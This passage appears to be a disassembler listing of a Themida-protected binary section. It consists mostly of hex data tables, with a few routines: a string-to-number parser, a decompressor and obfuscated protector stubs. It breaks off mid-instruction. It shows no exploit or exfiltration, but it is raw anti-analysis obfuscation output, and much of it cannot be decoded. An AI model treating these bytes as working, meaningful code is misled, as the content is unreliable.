dd 0C3554500h, 0A5D1D2E0h, 8D8A8E19h, 4B3D9985h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0F882F68h, 6599A8A4h, 0BD897CC8h, 64805DDh, 0DF8B6653h dd 89D0FF5Ah, 4823B98Dh, 0FC8D8B06h, 6606484Ah, 0FE8DC9BBh dd 0E9BD3101h, 8B06480Fh, 484AFC85h, 3BE38106h, 6626371Eh dd 6B9ADB81h, 0BE900FEh, 9000000h, 173FF3h, 3FB884F3h dd 16ADE42h, 0B75958Bh, 4E80648h, 0FF000000h, 60FFFF9Fh dd 50605F50h, 5A310F52h, 0F525058h, 61585A31h, 66575061h dd 5B8480BAh, 424448Bh, 8BD08Bh, 0C18B6660h, 0B8DDF1BBh dd 44896107h, 8B660424h, 8F0F58D8h, 2, 858DD1B3h, 64B3DA3h dd 8AD0FFF9h, 21BD83F4h, 6481Bh, 0C2840Fh, 95310000h, 6481F71h dd 1949BD83h, 0F010648h, 0AF85h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 564A3036h dd 8D8DAB13h, 64B3DADh, 27BD9529h, 36A0648h, 16AC4B2h dd 0D1FFE6B2h, 158A0Fh, 10E90000h, 0EA000000h, 0FB840491h dd 95FE47CFh, 2DEC9E19h, 6A84EC47h, 55006A01h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0F5CB3FF7h dd 8BF20339h, 480D3195h, 0F8016A06h, 0EF80D1FFh, 5FB1E842h dd 6AFA13h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0F827CDC3h, 9D8B1DA3h, 64818A1h, 0E960206Ah dd 0Eh, 0C8505F82h, 0B1DB59E1h, 0BBF3C53Fh, 8D2B9CE7h dd 6480E51h, 6AFF6A61h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 1A64C352h, 66FF4184h dd 91E6CA81h, 1E0195FFh, 0BF0F0648h, 0B8D1h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 448180C3h, 0B589518Fh, 648227Dh, 840FC00Bh, 5Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 73C35646h, 82996FD0h dd 15958D89h, 0BD830648h, 648277Dh, 29840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 985BC351h, 286595FFh, 95090648h, 6481A69h dd 0FD5858Bh, 8B660648h, 0C6D9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0A2C35040h, 0BC805189h, 813FAD42h dd 20FAC4C3h, 181BA2Eh, 33584B2Ah, 4809499Dh, 0D98C6606h dd 0AE8F860h, 0C3000000h, 0FEC97144h, 0CF3280A7h, 8B0F14h dd 5E000000h, 4C1F661h, 56840Fh, 7E90000h, 0DA000000h dd 3F39B998h, 45E9739Dh, 0B6000000h, 79B58B15h, 89064822h dd 480E7585h, 80C68106h, 6A000011h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 9A03C357h dd 2795958Bh, 0DF8B0648h, 6C7h, 9D8B0000h, 6482381h, 56006A5Eh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 28BCC6E6h, 0FA8AC82Fh, 83DF8B66h, 840F00F8h, 0B04h dd 24459D8Bh, 0F8830648h, 75850F01h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 6B94C350h, 0B8CCB217h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 72C35242h dd 840FC00Bh, 0D9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 37C35040h, 5AFA2841h, 6A10BA66h, 0F01F883h dd 0C384h, 0D8D2900h, 8B064815h, 4832799Dh, 3F88306h, 51840Fh dd 0B2530000h, 0C02B5A8Dh, 0D2816660h, 8D2B40ACh, 64805ADh dd 0D9BF0F61h, 7974BD8Dh, 8509005Bh, 64827F1h, 6AE7FFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0DA52C1C3h, 9D8BD7E8h, 6480EEDh, 6615F280h, 0B86907BAh dd 1, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h dd 79C35141h, 99358500h, 0D38166A8h, 952BE4BDh, 6481F81h dd 7974BD8Dh, 9D8B005Bh, 6480615h, 8C0FE7FFh, 1, 88BD8DF5h dd 0B2064841h, 9D8B50CBh, 6482475h, 303E95Ah, 0FA8A0000h dd 4B5785C7h, 50648h, 8B510000h, 482C519Dh, 13E95B06h dd 22000000h, 0A722AA43h, 0D418C1F4h, 4852EFCCh, 0F41B4C0h dd 5B860E7h, 66000000h, 1E88E281h, 916E9h, 0FDCB8000h dd 0F02F883h, 12485h, 0DA8B6600h, 6E8h, 385D4A00h, 8BF6688Ch dd 480F459Dh, 0B85B06h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7D55C353h dd 0A1952915h, 0B064800h, 9E840FC0h, 0E9000000h, 0Fh, 9C0F70B0h dd 0AF5C080Fh, 4D15E54Dh, 8BCA79E3h, 480D5195h, 1F88306h dd 0FF52840Fh, 0F883FFFFh, 0EC840F03h, 6AFFFFFEh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 66DFC353h, 0C02BD68Bh, 0BE8h, 472E3900h, 0DD9E997h dd 0A970BA46h, 2A2D9D89h, 8D5B0648h, 5B7974BDh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0F08A94BEh, 0B860E7FFh, 4080B8Ah, 2D34D281h, 16176D2h dd 4814D1B5h, 80BD8D06h, 0F064843h, 685h, 99D8900h, 0E9064807h dd 1C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 50C35242h, 68C2638Eh, 89C439DCh, 482F1585h, 3F88306h dd 2B850Fh, 8E0F0000h, 0Bh, 0B9BD3160h, 0F06482Ah, 8161DEBFh dd 0C8834BF3h, 14BD8D7Ah, 0F064845h, 6AE9DAB7h, 81000001h dd 29F27FF3h, 5F88372h, 2E850Fh, 81660000h, 0E8CD3EE3h dd 0Fh, 0D4E6BDBDh, 0AC4BC82h, 0EF3B6A1Ah, 8B05F44Bh, 4814199Dh dd 84E95B06h, 0F000007h, 958BDEBFh, 6482AD5h, 0F06F883h dd 6485h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 9F5C9807h, 75514423h, 859D8B36h dd 8D06481Bh, 48470CBDh, 0A1BD8906h, 0E9064827h, 0E9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CCC35343h dd 0C9B5892Eh, 2906480Ah, 482DE9BDh, 7F88306h, 37850Fh dd 95030000h, 6481A8Dh, 1601BD8Dh, 8B660648h, 124E9D3h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0B55857C3h, 9D269BC0h, 0AF88314h, 77850Fh dd 8B20000h, 4904BD8Dh, 6A0648h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0A80D53C3h, 0E9BA0268h dd 13h, 0E5D2CC49h, 4910B764h, 0EE55C9Eh, 0A7E3D3A8h, 8B2787EFh dd 48060995h, 2BE906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 247730C3h, 77729361h dd 89EBF276h, 480FAD85h, 85015706h, 6480025h, 0F7D634B9h dd 83D08A6Eh, 840F003Fh, 67h, 40D08160h, 237C4841h, 482A75BDh dd 0F306106h, 65CB8166h, 0FC9D161h, 68Bh, 21850100h, 47064821h dd 6098589h, 958B0648h, 6480045h, 0FFFFC2E9h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 42BC8051h, 26E13FADh, 9890Fh, 8F0F0000h, 3, 5F80EB80h dd 0BD89DF8Bh, 6484B00h, 0E059D8Bh, 830F0648h, 6, 1BF9958Bh dd 8D8D0648h, 6482F9Dh, 0B5FF4DB3h, 6482A69h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 9AC35141h, 89493D50h dd 481E758Dh, 17858D06h, 50064AAAh, 5198BD8Dh, 8D8D0648h dd 6486CF8h, 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h dd 486C90B5h, 108D8D06h, 2B06486Dh, 33A4F3CFh, 0B8C9h dd 0C00B0000h, 0BD834674h, 648277Dh, 0FF067400h, 48286595h dd 0B58B06h, 8D06484Bh, 4AAA1785h, 8DD0FF06h, 48410B85h dd 0C7D0FF06h, 48298985h, 106h, 4DA58B00h, 8B06480Fh, 480C95B5h dd 71AD8B06h, 33064819h, 0CC2C0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0C7C35545h, 2DB9B529h, 0CDBB0648h dd 8B4CF847h, 482EE59Dh, 6DBD8306h, 6481Ah, 12840Fh, 9D0B0000h dd 648093Dh, 0C4D95FFh, 95030648h, 6482161h, 2F19BD83h dd 0F000648h, 1A785h, 0A0F68000h, 1949BD83h, 0F010648h dd 19785h, 0D5BD8300h, 6482Bh, 18A840Fh, 0BF0F0000h, 53BD83D2h dd 6484Bh, 17A840Fh, 95890000h, 6482A95h, 0AA17858Dh, 6A064Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0F697EEC3h, 0B58BE0h, 6A06484Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 939CC357h dd 0F46CC9DFh, 0FFD1BF0Fh, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 74F88278h dd 89F8F081h, 4823B9BDh, 6D85C606h, 54064827h, 68D2BF0Fh dd 0F3E2A9DEh, 3870Fh, 8B660000h, 240481DEh, 0B6C1516h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0B5C35545h dd 0EE836E95h, 21B5FFF7h, 0F06482Ch, 585h, 0C3816600h dd 858DC098h, 6483878h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 6CC35545h, 0BB5CA77Ah, 12443294h, 6AD0FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 4616BCC3h, 810FAF3Dh, 6, 1005958Bh, 8D290648h, 6482B65h dd 8501006Ah, 6481969h, 0D78BFF6Ah, 6AD0FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 51B195C3h dd 37165F58h, 8166C055h, 0FF3DD6E3h, 4806DDB5h, 0DAB70F06h dd 2A6995FFh, 0B5890648h, 6481BE9h, 4B00B58Bh, 952B0648h dd 64824D1h, 38F0FC3h, 0F000000h, 0B58BD1B7h, 6480FD5h dd 0F60BD18Ah, 1E840Fh, 860F0000h, 4, 64ECBB66h, 0F0006C6h dd 0B8Ah, 58B0F00h, 0BB000000h, 1B8CF379h, 4B088589h, 0F2800648h dd 0F88353h, 316840Fh, 0BD290000h, 6481E5Dh, 101958Bh dd 0B80648h, 50000000h, 835BD88Bh, 840F00F8h, 0C8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 8DC35545h, 897019CFh dd 480D11B5h, 2F88306h dd 69850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 1EEBF7C3h, 9D8BD738h, 6481B9Dh dd 4183858Dh, 0D08A0648h, 6AF28166h, 9292D91h, 0FE80000h dd 32000000h, 8321EF71h, 0AE5A08Bh, 0FCFB8351h, 8A0F8616h dd 3, 5AD18B66h, 89D78B50h, 95232404h, 64819D9h, 64BAC3F8h dd 0B826EB5Ch, 0 dd 7E9h, 34182100h, 4CB6E04Eh, 10E9h, 0E6AC7A00h, 5B0330E5h dd 76D22F72h, 37DB27h, 236E9D3h, 85890000h, 6481BC9h, 1B8h dd 0B9958B00h, 8D064806h, 484188BDh, 0E9958B06h, 0E9064826h dd 108h, 731CE281h, 9D8B27B4h, 648199Dh, 0F02F883h, 7B85h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0C3818289h, 78F8EBCAh, 4380BD8Dh, 6A0648h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 83BB8FC3h, 38AAF125h, 28F0Fh, 0D88B0000h, 0FE960h, 12250000h dd 58C5C26Eh, 4F285CF3h, 1D74245Ch, 39950159h, 6106482Bh dd 7FE9h, 81665300h, 5B8A3AF2h, 0F03F883h, 3A85h, 498D3100h dd 8D06480Ch, 484514BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0B02ACE51h, 8589BA40h dd 64805C9h, 37E9h, 83A8B200h, 850F05F8h, 2Ch, 0E969C280h dd 0C3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0B2C35545h, 4D2ABD19h, 95195A32h, 50006A57h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 3FE3ABF9h, 7C757787h, 0BA66C199h, 34B919D1h, 6A6EF7D6h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0A33EC356h, 9D8B808Bh, 6483059h, 0F003F83h dd 4284h, 0A133BB00h, 0F3019D0h, 0C9D1DA8Bh, 59D958Bh dd 6A470648h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 1539C352h, 158BB6A9h, 1BE08953h dd 0FFFFBBE9h, 618529FFh, 83064829h, 850F05F8h, 64h, 0EDFC7ABAh dd 0D98C6649h, 2EEB7FBBh, 4C1F604h, 1A850Fh, 0BEB30000h dd 5DD9D8Bh, 0B80648h, 0B2000000h, 3AE99Eh, 95030000h dd 6482D01h, 29858Bh, 0BF0F0648h, 0D19523D1h, 0FF06482Ah dd 56006AE0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 632F89F8h, 983F4EEDh, 2A69BD83h, 0F000648h dd 0EC85h, 0D5950900h, 90064810h, 5650D98Bh, 820F905Bh dd 0Bh, 58C0Fh, 81660000h, 0C6971CC3h, 48276D85h, 6A4506h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0FEC608C3h, 3611CE06h, 661ED07Ch, 6824B6BAh, 834CA040h dd 13E8h, 6E09FB00h, 8A1FC4EFh, 78CE0FB2h, 8663F27Eh, 0E46218CFh dd 815AD18Bh, 0C9292404h, 0BD890B25h, 64821E1h, 2C21B5FFh dd 9D8B0648h, 6481A95h, 3878858Dh, 6A0648h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 80FCF7C3h dd 0DB8167D2h, 59A42A84h, 0FF8DDB80h, 25958BD0h, 8906482Eh dd 482A6985h, 0B1853106h, 58064805h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 5EC35040h, 8B66A55Ch, 57BD83D0h dd 6484Bh, 68840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0B3FFE9C3h, 5ACA817Ch dd 0F52F73BAh, 6DDB5FFh, 0B70F0648h, 61BD89D0h, 0FF06481Ah dd 482A6995h, 6E906h, 9EEC0000h, 9110B09h, 12E8h, 73DED100h dd 2CF6BB34h, 9A26F93h, 36856307h, 0E92097C8h, 5, 0DDAA044Fh dd 0F8835BA9h, 35850F00h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7FD6C355h dd 0FE9h, 8C950300h, 6EF63DD7h, 3C3CDB9Eh, 5C7BD98Fh, 23CDBD83h dd 0F000648h, 8684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 1F97DD20h, 23CDB5FFh dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0D7217BC3h, 1B873F8h, 0F000000h, 0B89h, 5810F00h dd 0BB000000h, 158CB478h, 26DE9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 2C4B2726h dd 1955BD89h, 0FFF50648h, 4806DDB5h, 13E806h, 0A4B00000h dd 0D741ACABh, 0CCA14C98h, 8502F5AAh, 42F787BFh, 58D0F66h dd 66000000h, 0B8BFCB81h, 0DDB5FF5Bh, 6A064806h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0FFA5C350h, 0D2815F1Fh, 0C3B0D11h, 39CB8166h, 69B5FFA2h dd 8106482Ah, 3B876BDAh, 1DCE93Eh, 8D290000h, 6481E9Dh dd 839BB35Fh, 4832D5BDh, 850F0006h, 0D5h, 14D1958Bh, 0B5310648h dd 64821B5h, 276D85C6h, 0F4D0648h, 687h, 39BD0900h, 0E806481Bh dd 4, 0A43576A8h, 1FBA6650h, 24448BEFh, 9B9BB04h, 8B29B1h dd 89D68B66h, 0E8042444h, 5, 30F956B0h, 0F5BA66B7h, 6A585A73h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0CECCC351h, 0DF2183Fh, 9D8B5071h, 6480D6Dh dd 31DBEA81h, 0B5FF7B0Ah, 648205Dh, 858DDA8Bh, 6483878h dd 14E9h, 398F9C00h, 9E7A0DC5h, 4C3C8B8Fh, 1A456A5h, 17A91476h dd 0E8D0FFFAh, 10h, 450B3DCAh, 0D5CBDF45h, 0A55154CDh dd 4637899h, 2DDDBD89h, 95A0648h, 48069995h, 0D5858906h dd 89064832h, 48192D95h, 0B806h, 60F90000h, 0D88BD88Bh dd 0BD8961h, 8106484Bh, 901A73D3h, 0FC00B2Eh, 1184h, 659D8B00h dd 0E906482Ch, 0C6h, 5119D8Bh, 0B5FF0648h, 6482A69h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 34C35343h, 8DF8F9D9h dd 4AAA1785h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 89910A25h, 4809D59Dh, 0D8B70F06h dword_544450 dd 14E96090h, 7000000h, 426A6B49h, 0CBAF4A1Bh, 33FEBD05h ; DATA XREF: ___:off_43CD24o dd 5F28CC7Fh, 518D9FA6h, 6050615Fh, 360A01B9h, 0FE8B6644h dd 6A9061h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 4288ECC3h, 6033B681h, 11E9h, 0CE262A00h dd 0D3FAD371h, 1DDF0735h, 0B7071D02h, 8A0F835Dh, 5, 734322BEh dd 56506100h, 5198BD8Dh, 8D8D0648h, 6487764h, 8323BCB8h dd 30CF2B74h, 47C8D007h, 5EF87549h, 0CDBD8358h, 64823h dd 8D8B0674h, 6480C6Dh, 0B8C933h, 0B000000h, 99840FC0h dd 83000000h, 48277DBDh, 6740006h, 286595FFh, 0B80648h dd 0B000000h, 830975C0h, 484B08BDh, 9740106h, 4B08BD83h dd 75020648h, 0B58B0Eh, 8D06484Bh, 4AAA1785h, 8DD0FF06h dd 48410B85h, 83D0FF06h, 480FB1BDh, 2F750206h, 0F4DA58Bh dd 858B0648h, 64823CDh, 0C7240489h, 48298985h, 106h, 4B58B00h dd 8B06484Bh, 481971ADh, 1B806h, 0CC20000h, 0C700EB00h dd 48298985h, 106h, 4DA58B00h, 8B06480Fh, 480C95B5h, 71AD8B06h dd 33064819h, 0CC2C0h, 1A6DBD83h, 74000648h, 4DBD830Fh dd 6480Ch, 95FF0674h, 6480C4Dh, 4B00B58Bh, 9C30648h, 4824DDBDh dd 5800F06h, 0BB000000h, 1DE49A24h, 0CE9D22Bh, 31000000h dd 664492E2h, 5FD54D9Fh db 0CDh, 46h, 7Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5445E7 ; --------------------------------------------------------------------------- loc_5445E5: ; CODE XREF: Themida_:005445EAj inc eax inc edi loc_5445E7: ; CODE XREF: Themida_:005445E3j cmp byte ptr [edi], 0 jnz short loc_5445E5 xor ecx, ecx mov edi, [ebp+8] jmp short loc_544616 ; --------------------------------------------------------------------------- loc_5445F3: ; CODE XREF: Themida_:00544618j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_54460B ; --------------------------------------------------------------------------- loc_544608: ; CODE XREF: Themida_:0054460Ej mul ebx dec esi loc_54460B: ; CODE XREF: Themida_:00544606j cmp esi, 0 ja short loc_544608 pop ebx add ecx, eax pop eax inc edi dec eax loc_544616: ; CODE XREF: Themida_:005445F1j or eax, eax jnz short loc_5445F3 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dd 457DBB66h, 5DC38166h, 0E9C18B37h, 1ADh, 24748B60h, 247C8B24h dd 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh, 5850Fh dd 168A0000h, 0FD21246h, 6A83h, 2C03300h, 5850FD2h, 8A000000h dd 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh, 168A0000h dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h, 850FD202h dd 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h dd 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h dd 0B8FFFFFFh, 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h dd 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh dd 34850F00h, 0B9000000h, 1, 850FD202h, 5, 1246168Ah, 2C913D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh dd 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h dd 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h dd 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh dd 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h dd 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h dd 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h dd 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh dd 247C8928h, 8C2611Ch, 929BA00h, 10E90000h, 3F000226h dd 68025900h, 5E0012FFh, 50005AD4h, 28005AD9h, 25900h dd 50000000h, 47005AD9h, 2000002h, 1000000h, 6000000h dd 6F000000h, 0FA0BCDh, 4 dup(0) dd 2E000000h, 0F70054FAh, 62005500h, 3E0054F3h, 0D4005505h dd 0D005483h, 41005506h, 5500550Ch, 0D600544Dh, 91005458h dd 6F00545Ch, 0C40054DAh, 600054C0h, 8E00544Dh, 2D0054ECh dd 0FC0054F9h, 4E005510h, 0C20054FDh, 2D00547Fh, 9A0054A4h dd 0D1005472h, 0F10054AEh, 200548Fh, 2300550Bh, 460054EAh dd 3D00545Dh, 0C30054B9h, 6B005480h, 98005475h, 6C0054D4h dd 0B30054DEh, 0C00054A0h, 5005482h, 2500550Ch, 790054D0h dd 0C0054C3h, 3100549Bh, 0A4005477h, 87005488h, 70005464h dd 850054FDh, 19005501h, 5E005502h, 0AC0054BCh, 19005454h dd 0B50054D3h, 3500547Ah, 2D005486h, 0D3005473h, 0FE0054E6h dd 0F600547Ah, 140054A9h, 270054FCh, 0D100550Eh, 1B0054AFh dd 0C10054C7h, 0F80054B0h, 5A005503h, 7E005475h, 93005463h dd 25005492h, 0B10054E1h, 0F90054B8h, 9B0054A8h, 4500549Dh dd 0DC0054FCh, 400550Dh, 470054FEh, 6C0054E7h, 6F0054FCh dd 7F005460h, 27005484h, 0DD0054A9h, 2D005502h, 63005502h dd 5F00550Ch, 0DC0054B1h, 0E1005483h, 0E00544Fh, 140054E9h dd 87005458h, 60054D4h, 6D005509h, 0AF00549Ah, 0DA0054C9h dd 0F400548Dh, 0CD005463h, 5A0054C7h, 990054EAh, 0AA005454h dd 6900549Dh, 0D400545Fh, 6F0054DCh, 6D00545Eh, 18005463h dd 1300550Fh, 5D00550Ah, 710054F6h, 1D00548Eh, 0F200546Eh dd 300054E2h, 8900545Ch, 1B0054B4h, 980054C5h, 1A0054D9h dd 7F005467h, 3005483h, 2700547Ah, 0F200549Ah, 0A70054BCh dd 2E00544Fh, 0AB0054A9h, 4F00544Bh, 80054CCh, 0F3005495h dd 0F60054FBh, 0DB0054DAh, 11005485h, 5C00544Dh, 94005461h dd 0CE00544Fh, 0EE00549Ch, 8C00545Bh, 0CB005472h, 0CD0054FFh dd 3E0054CAh, 0AA0054E2h, 0FA005475h, 610054B8h, 9800545Ch dd 70054D2h, 86005489h, 0E400548Bh, 9D005456h, 8C0054ABh dd 0F50054B2h, 5A0054FAh, 420054C2h, 7E00549Ah, 0A1005460h dd 8A00548Ah, 0A900545Ah, 4D0054A1h, 0B200546Dh, 0F00054D8h dd 25005451h, 4005473h, 0D60054DBh, 3D0054ADh, 51005470h dd 210054DFh, 690054A5h, 6F005501h, 0A4005489h, 500054F9h dd 9C00545Fh, 0F90054F2h, 270054D0h, 500054B2h, 590054E2h dd 0AA0054D7h, 0C70054B1h, 9A005502h, 0B900546Dh, 1A0054F3h dd 53005493h, 3C0054C3h db 6Dh, 54h, 0 ; --------------------------------------------------------------------------- loc_544ACB: ; CODE XREF: Themida_:00577733j ; Themida_:00592B9Aj ... pusha pushf cld call $+5 pop edi sub edi, 6487D64h mov eax, edi add edi, 6487A7Ch cmp eax, [edi+2Ch] jnz short loc_544AE9 jmp short loc_544AFC ; --------------------------------------------------------------------------- loc_544AE9: ; CODE XREF: Themida_:00544AE5j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_544AF8 ; --------------------------------------------------------------------------- loc_544AF3: ; CODE XREF: Themida_:00544AFAj add [edi+ecx*4+40h], eax dec ecx loc_544AF8: ; CODE XREF: Themida_:00544AF1j or ecx, ecx jnz short loc_544AF3 loc_544AFC: ; CODE XREF: Themida_:00544AE7j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_544B09: ; CODE XREF: Themida_:00544B10j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_544B09 loc_544B12: ; CODE XREF: Themida_:loc_545EB2j ; Themida_:00546886j ... lodsb push 5468h mov [esp], ebx mov bl, 0E9h and bl, 1Dh sub bl, 0EDh add al, 0A1h sub al, bl jmp loc_5497BF ; --------------------------------------------------------------------------- dd 0BBF0E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544B32: ; CODE XREF: Themida_:005452F9j mov [esp], eax sub esp, 4 mov [esp], edx mov edx, 45BF2822h jmp loc_54FEF5 ; --------------------------------------------------------------------------- dd 8904EC83h, 0E3682404h, 89000034h, 1DB7241Ch, 0FC2839B4h dd 0E9E6285Bh, 9634h, 0A7602ABEh, 1DBD551Fh, 816A6858h dd 0D11D94CDh, 81DDF743h, 9FD001EDh, 5DEA894Bh, 0E95EF229h dd 9380h, 68240C8Bh, 281Dh, 820FE9h, 24048900h, 8FE0E9h dd 81E58900h, 4C5h, 0DCE95700h, 0FF00003Ch, 34FF2434h dd 89515824h, 4C181E1h, 0E9000000h, 4629h ; --------------------------------------------------------------------------- loc_544BC0: ; CODE XREF: Themida_:0054D119j pop ebx push dword ptr [esp] mov edx, [esp] add esp, 4 push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [edi+eax*4] xor dword ptr [esp], 69FD3506h push dword ptr [esp] pop eax push ebx mov ebx, esp jmp loc_54A6A1 ; --------------------------------------------------------------------------- loc_544C02: ; CODE XREF: Themida_:0055064Fj pop ebx xchg ebp, [esp] pop esp jmp loc_54AEE8 ; --------------------------------------------------------------------------- loc_544C0C: ; CODE XREF: Themida_:0054783Bj add eax, edi push ecx mov ecx, 3F6F40B7h jmp loc_5451FC ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0BA07E9h db 0 ; --------------------------------------------------------------------------- loc_544C21: ; CODE XREF: Themida_:00549550j add esp, 4 pop dword ptr [esp] mov esp, [esp] test cl, al pushf jmp loc_548902 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h aWt_sA db 'WT_Иу─',0 align 10h loc_544C40: ; CODE XREF: Themida_:0054D28Cj add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5456AC ; --------------------------------------------------------------------------- db 51h, 0B9h, 2 dd 89000000h, 45BAE9CBh, 0CDFE0000h, 0AA42E9h, 50E18900h dd 68C1BB53h, 0D8896F79h, 0F3B685Bh, 34890000h, 68BDBE24h dd 0F0296F79h, 0E9C1015Eh, 0BB4Ch ; --------------------------------------------------------------------------- loc_544C88: ; CODE XREF: Themida_:00550085j push edx mov edx, 4C8C047Bh neg edx sub edx, 600EF5B6h push esi mov esi, 1 sub edx, esi pop esi push 0 sub dword ptr [esp], 725C47E5h sub [esp], edx add dword ptr [esp], 725C47E5h mov 